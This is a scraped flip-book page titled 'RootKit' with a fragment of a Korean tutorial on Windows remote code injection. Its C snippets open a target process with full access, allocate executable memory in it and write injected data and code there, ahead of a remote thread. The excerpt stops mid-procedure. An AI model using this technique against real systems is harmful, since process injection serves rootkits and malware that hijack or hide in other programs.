13.07.2013 Views

RootKit

RootKit

RootKit

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

사용할 프로시저나 함수의 포인터, 내부 변수등을 저장하게 된다.<br />

인젝션 하는 방법은 위의 방법과 마찬가지로 모듈을 얻어오는 것부터 시작하게<br />

된다. 하지만 우리가 필요한 함수는 LoadLibraryA 함수가 아닌<br />

SetWindowLongA, CallWndProcA 함수 이기 때문에 다른 모듈을 얻어와야 한<br />

다.<br />

// Get handle of "USER32.DLL"<br />

hUser32 = GetModuleHandle("user32");<br />

얻어오는 모듈의 핸들은 바로 user32 이다. 이곳에서 원하는 함수를 얻게 된<br />

다.<br />

// Open remote process<br />

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br />

원하는 프로세스를 열고,<br />

// Allocate memory in the remote process and write a copy of initialized<br />

INJDATA into it<br />

size = sizeof(INJDATA);<br />

pDataRemote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT,<br />

PAGE_EXECUTE_READWRITE);<br />

실행할 코드가 들어있는 INJDATA만큼의 공간을 할당 한다<br />

WriteProcessMemory(hProcess, pDataRemote, &DataLocal, size, &dwNumBytesCopied)<br />

할당된 공간에 INJDATA DataLocal을 써 넣는다.<br />

다음은 RemoteThread를 위한 공간을 할당하고 데이터를 써 넣을 차례이다.<br />

pGetSASWndRemote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT,<br />

PAGE_EXECUTE_READWRITE);<br />

WriteProcessMemory(hProcess, pGetSASWndRemote, &GetSASWnd, size,<br />

&dwNumBytesCopied)

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!